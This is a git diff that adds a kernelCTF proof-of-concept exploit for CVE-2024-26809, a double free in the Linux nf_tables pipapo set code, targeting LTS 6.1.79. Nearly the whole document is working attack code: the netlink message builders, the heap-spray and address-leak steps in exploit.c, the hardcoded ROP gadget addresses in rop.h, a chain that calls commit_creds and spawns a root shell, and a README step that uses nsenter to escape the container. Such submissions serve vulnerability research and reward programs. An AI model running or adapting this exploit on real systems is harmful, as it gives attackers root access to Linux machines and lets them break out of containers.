+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/Makefile b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/Makefile
new file mode 100644
index 00000000..397d6c67
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/Makefile
@@ -0,0 +1,10 @@
+exploit:
+	gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
+prerequisites:
+	sudo apt-get install libnl-nf-3-dev
+run:
+	./exploit
+
+clean:
+	rm exploit
+
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/README b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/README
new file mode 100644
index 00000000..c8b8b32e
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/README
@@ -0,0 +1,2 @@
+Exploit for kctf LTS 6.1.79
+Run command "nsenter --target 1 -m -p" after run the poc.
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit
new file mode 100644
index 00000000..059143bd
Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit differ
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c
new file mode 100644
index 00000000..e6d165f0
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c
@@ -0,0 +1,360 @@
+#define _GNU_SOURCE
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <sys/sysinfo.h>
+#include <linux/netlink.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <linux/netfilter/nf_tables.h>
+#include <linux/netfilter/nf_tables_compat.h>
+#include <netlink/msg.h>
+#include <netlink/attr.h>
+#include <netlink/netlink.h>
+#include <netlink/netfilter/nfnl.h>
+
+#include "obj.h"
+#include "setelem.h"
+#include "table.h"
+#include "set.h"
+#include "rop.h"
+
+char *leak_data = NULL;
+char *table_udata = NULL;
+int table_num = 0;
+uint64_t kernel_off = 0;
+unsigned long user_cs,user_ss,user_rsp,user_rflags;
+
+void shell(){
+    printf("ret2usr success! uid : %d\n",getuid());
+    char *args[] = {"/bin/sh", "-i", NULL};
+    execve(args[0], args, NULL);
+}
+
+static void save_state() {
+        asm(
+        "movq %%cs, %0\n"
+        "movq %%ss, %1\n"
+        "movq %%rsp, %2\n"
+        "pushfq\n"
+        "popq %3\n"
+        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
+}
+
+void pin_on_cpu(int cpu) {
+  cpu_set_t cpu_set;
+  CPU_ZERO(&cpu_set);
+  CPU_SET(cpu, &cpu_set);
+  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
+    perror("sched_setaffinity()");
+    exit(EXIT_FAILURE);
+  }
+}
+
+int setup_sandbox(void) {
+  if (unshare(CLONE_NEWUSER) < 0) {
+    perror("[-] unshare(CLONE_NEWUSER)");
+    return -1;
+  }
+  if (unshare(CLONE_NEWNET) < 0) {
+    perror("[-] unshare(CLONE_NEWNET)");
+    return -1;
+  }
+  return 0;
+}
+
+
+
+void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    int i;
+    for(i=0;i<num;i++){
+    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
+    }
+    char *buf = malloc(total_size);
+    memset(buf, 0, total_size);
+    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
+    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
+    for(i=0;i<num;i++){
+    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
+	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
+    }
+    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    if (res < 0) {
+        printf("sending message failed\n");
+    }
+}
+
+int nl_callback_get_table(struct nl_msg* recv_msg, void* arg)
+{
+
+    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
+    struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
+    memset(tb_msg, 0, NFTA_TABLE_MAX * 8);
+
+    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
+        return NL_STOP;
+    }
+
+    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
+    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
+    nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL);
+    char * table_name=NULL;
+    char * set_name=NULL;
+    if (tb_msg[NFTA_TABLE_NAME]){
+        printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME]));
+    }
+    if (tb_msg[NFTA_TABLE_USERDATA]){
+	free(table_udata);
+	table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA]));
+	nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA]));
+    }
+    return NL_OK;
+}
+
+void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
+   char *tmp = malloc(0x100);
+   memset(tmp,0,0x100);
+   int i;
+   for(i=0;i<len;i++){
+        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
+        new_table_with_udata(socket, tmp, udata, size);
+        ++table_num;
+   }
+   free(tmp);
+}
+
+void exploit(struct nl_sock *socket){
+    int i;
+    char *table = "table for exp";
+    char *pipapo_set = "set pipapo for exp";
+    char *bitmap_set = "set bitmap for exp";
+    char *target_obj = "obj for exp";
+
+    new_table(socket, table);
+    //Step 1 Create a pipapo set `A`
+    new_set_pipapo(socket,table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT);//Set A
+    new_set_bitmap(socket, table, bitmap_set);
+    
+    char *key = malloc(0x40);
+    char *key_end = malloc(0x40);
+    char *pad = malloc(0x100);
+    memset(pad,0x41,0x100);
+    uint64_t hash_key;
+    
+    //Step 2 Create element `B` and element `C` in set `A`.
+    new_obj_ct_expect(socket, table, target_obj, NULL, 0);
+    memset(key,0x41,0x40);
+    spray_tables(socket,0x200, pad, 0xd0);
+    new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);//Set element B
+    memset(key,0x42,0x40);
+    new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);//Set element C
+    spray_tables(socket,0x200, pad, 0xd0);
+    //Step 3
+    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
+    memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
+    memset(key,0x43,0x40);
+    msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);//Set element D
+    msg_list[1] = del_set_msg(table, pipapo_set);
+    send_msg_list(socket, msg_list, 2);
+    sleep(1);//Waiting the function nf_tables_commit
+    //Now we try to get the heap back and check if we success
+    //Step 4 Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`.
+    struct nl_sock * socket2 = nl_socket_alloc();
+    if(nfnl_connect(socket2)<0){
+        printf("nfnl_connect fail!\n");
+        return 0;
+    }
+    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL);
+    int try_num = 0;
+    char *table_name = malloc(0x100);
+    int e=0,f=-1;
+    while(1){
+	printf("trying %d\n",try_num);
+	snprintf(table_name, 0x100, "table for test %d", try_num);
+	*(int *)pad = try_num;
+	new_table_with_udata(socket, table_name, pad, 0xd0);
+	int i;
+	for(i=0;i<try_num;i++){
+		snprintf(table_name, 0x100, "table for test %d", i);
+		get_table(socket2, table_name);
+		nl_recvmsgs_default(socket2);
+        	nl_recvmsgs_default(socket2);
+		printf("Get udata : %d\n", *(int *)table_udata);
+		if(*(int *)table_udata != i){
+		//It means we get two same object from the free list of kernel heap.
+			e = *(int *)table_udata;
+			f = i;
+			break;
+		}
+	}
+	if(f!=-1)
+		break;
+	try_num++;
+	sleep(0.1);//Waiting the function nf_tables_commit
+    	
+    }
+    //Now, we free many object to avoid crash
+    char *tmp = malloc(0x100);
+    memset(tmp,0,0x100);
+    
+    
+    for(i=0x180;i<0x280;i++){
+	snprintf(tmp, 0x100, "table_for_leak_%ld", i);
+        del_table(socket, tmp);
+    }
+    sleep(0.5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
+    
+    printf("We get it! E: %d F: %d \n", e, f);
+    
+    snprintf(tmp, 0x100, "table for test %d", e);
+    //Step 5 Delete `nft_table E`.
+    del_table(socket, tmp);
+    sleep(5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
+    uint16_t bitmap_key = 0;
+    i=0;
+    //Step 6 Spray heap to get the heap of `nft_table E->udata` back.
+    while(1){	
+	bitmap_key = i;
+	new_setelem_with_expr(socket, table, bitmap_set, pad, 0xc0, NULL, &bitmap_key, 2, NULL, 0);
+	snprintf(tmp, 0x100, "table for test %d", f);
+    	get_table(socket2, tmp);//[1]
+    	nl_recvmsgs_default(socket2);
+    	nl_recvmsgs_default(socket2);
+    	printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28));//0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
+	if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0x2e0){
+    	    break;
+	}
+	sleep(0.1);//Waiting the function nf_tables_commit.
+	i++;
+    }
+    //Save it. We will use it later.
+    //Step 7: Dump `nft_table F`. We have dump it in [1]
+    char *setelem_data = malloc(0x100);
+    memcpy(setelem_data, table_udata, 0xd0);
+    kernel_off = *(uint64_t *)(table_udata+0x28) - NFT_LAST_OPS;//nft_last_ops, 0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
+    //now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target.
+    //Step 8: Create another set element `G`. 
+    bitmap_key++;
+    new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0);//set element G
+    snprintf(tmp, 0x100, "table for test %d", f);
+
+    get_table(socket2, tmp);
+    nl_recvmsgs_default(socket2);
+    nl_recvmsgs_default(socket2);
+    printf("Get next setelem : %llx\n",*(uint64_t *)table_udata);// 0 = offset(head.next,struct nft_bitmap_elem)
+    
+    uint64_t ops_addr = *(uint64_t *)table_udata;//We use the heap of the next set element as the expr[0]->ops
+    //Free the small setelem, and fill it with our target expr->ops->dump and expr->ops->type
+    //Step 9 : Delete set element `G`.Fill the heap memory of set element `G` through heap spraying.
+    del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0);
+    sleep(1);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
+    //fake ops->dump
+    *(uint64_t *)&pad[0x40] = kernel_off + LEAVE_RET;
+    //fake ops->type
+    *(uint64_t *)&pad[0x78] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
+                                  In function nf_tables_fill_expr_info:
+                                    if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
+                                  so we need to fake ops->type to avoid kernel crash
+                                  */
+    spray_tables(socket,0x200, pad, 0x80);
+    //Now we try to control ip by faking another expr in set elem.
+    //build fake setelem
+    *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
+    //start ROP
+    *(uint64_t *)&setelem_data[0x30] = kernel_off + POP_RDI_RET;
+    *(uint64_t *)&setelem_data[0x38] = kernel_off + INIT_CRED;
+    *(uint64_t *)&setelem_data[0x40] = kernel_off + COMMIT_CREDS;
+    *(uint64_t *)&setelem_data[0x48] = kernel_off + POP_RDI_RET;
+    *(uint64_t *)&setelem_data[0x50] = 1;
+    *(uint64_t *)&setelem_data[0x58] = kernel_off + FIND_TASK_BY_VPID;
+    *(uint64_t *)&setelem_data[0x60] = kernel_off + MOV_RDI_RAX_POP_RBX_RET;
+    *(uint64_t *)&setelem_data[0x68] = 0;
+    *(uint64_t *)&setelem_data[0x70] = kernel_off + POP_RSI_RET;
+    *(uint64_t *)&setelem_data[0x78] = kernel_off + INIT_NSPROXY;
+    *(uint64_t *)&setelem_data[0x80] = kernel_off + SWITCH_TASK_NAMESPACES;
+    *(uint64_t *)&setelem_data[0x88] = kernel_off + SWAPGS_RET;
+    *(uint64_t *)&setelem_data[0x90] = kernel_off + IRETQ;
+    *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell;
+    *(uint64_t *)&setelem_data[0xa0] = user_cs;
+    *(uint64_t *)&setelem_data[0xa8] = user_rflags;
+    *(uint64_t *)&setelem_data[0xb0] = user_rsp|8;//You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
+    *(uint64_t *)&setelem_data[0xb8] = user_ss;
+    
+    //Step 10: Delete `nft_table F`.
+    del_table(socket, tmp);
+    //Step 11 and 12
+    //Try to get it back and control RIP
+    sleep(5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
+    bitmap_key = i;
+    int t=0;
+    while(1){
+	sleep(0.1);//Avoid heap crashes caused by excessive kmalloc.
+    	spray_tables(socket, 1, setelem_data, 0xd0);
+        get_setelem(socket, table, bitmap_set, &bitmap_key, 2);
+    	printf("%d\n",t);
+	t++;
+    }
+    
+    printf("End\n");
+    while(1);
+}
+
+
+struct nl_sock * setup_nl_socket(){
+    struct nl_sock * socket = nl_socket_alloc();
+
+    if(nfnl_connect(socket)<0){
+        printf("nfnl_connect fail!\n");
+        return NULL;
+    }
+    return socket;
+}
+
+int main(void) {
+    if (setup_sandbox() < 0){
+        printf("Create sandbox fail!\n");
+        return 0;
+    }
+    pin_on_cpu(0);
+    save_state();
+    struct nl_sock * socket = setup_nl_socket();
+    if(socket == NULL)
+	    return 0;
+    exploit(socket);
+    return 0;
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/obj.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/obj.h
new file mode 100644
index 00000000..911e912d
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/obj.h
@@ -0,0 +1,68 @@
+void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *data = nlmsg_alloc();
+    char *a = malloc(0x100);
+    memset(a,0x41,0x100);
+
+    nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 6);//IPPROTO_TCP
+    nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141);
+    nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141);
+    nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41);
+    nla_put_nested(msg2, NFTA_OBJ_DATA, data);
+    nla_put_string(msg2, NFTA_OBJ_NAME, obj_name);
+    nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT));
+    nla_put_string(msg2, NFTA_OBJ_TABLE, table_name);
+    if(udata>0)
+            nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/rop.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/rop.h
new file mode 100644
index 00000000..318f4ba3
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/rop.h
@@ -0,0 +1,13 @@
+#define NFT_LAST_OPS 0xFFFFFFFF82B2A2E0
+#define LEAVE_RET 0xFFFFFFFF81CD24B3
+#define NFT_LAST_TYPE 0xFFFFFFFF83B69A00
+#define POP_RDI_RET 0xFFFFFFFF8156F170
+#define INIT_CRED 0xFFFFFFFF838768E0
+#define COMMIT_CREDS 0xFFFFFFFF811BD090
+#define FIND_TASK_BY_VPID 0xFFFFFFFF811B3A60
+#define MOV_RDI_RAX_POP_RBX_RET 0xffffffff810d55a1 ////mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
+#define POP_RSI_RET 0xffffffff8102e2a6
+#define INIT_NSPROXY 0xFFFFFFFF838766A0
+#define SWITCH_TASK_NAMESPACES 0xFFFFFFFF811BB4F0
+#define SWAPGS_RET 0xFFFFFFFF8218EE86
+#define IRETQ 0xFFFFFFFF822011D7
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/set.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/set.h
new file mode 100644
index 00000000..db121b35
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/set.h
@@ -0,0 +1,151 @@
+void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    struct nl_msg *data = nlmsg_alloc();
+    struct nl_msg *data_nest = nlmsg_alloc();
+    struct nl_msg *data_nest_nest = nlmsg_alloc();
+    //init IPSET_ATTR_DATA
+
+    int i=0;
+
+    nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10));
+    for(i=0;i<4;i++){
+        nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest);
+    }
+
+    nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest);
+    //create test1
+    nla_put_string(msg2, NFTA_SET_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_NAME, set_name);
+    nla_put_u32(msg2, NFTA_SET_ID, 0x10);
+    nla_put_nested(msg2, NFTA_SET_DESC, data);
+    nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len));
+    nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT));
+    nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type));
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    } 
+}
+
+void new_set_bitmap(struct nl_sock * socket, char *table_name, char *set_name){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    nla_put_string(msg2, NFTA_SET_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_NAME, set_name);
+    nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(2));
+    nla_put_u32(msg2, NFTA_SET_ID, 0x10);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+struct nlmsghdr *del_set_msg(char *table_name, char *set_name){
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    //init msg
+    nla_put_string(msg2, NFTA_SET_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_NAME, set_name);
+    return hdr2;
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/setelem.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/setelem.h
new file mode 100644
index 00000000..931a2004
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/setelem.h
@@ -0,0 +1,307 @@
+void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
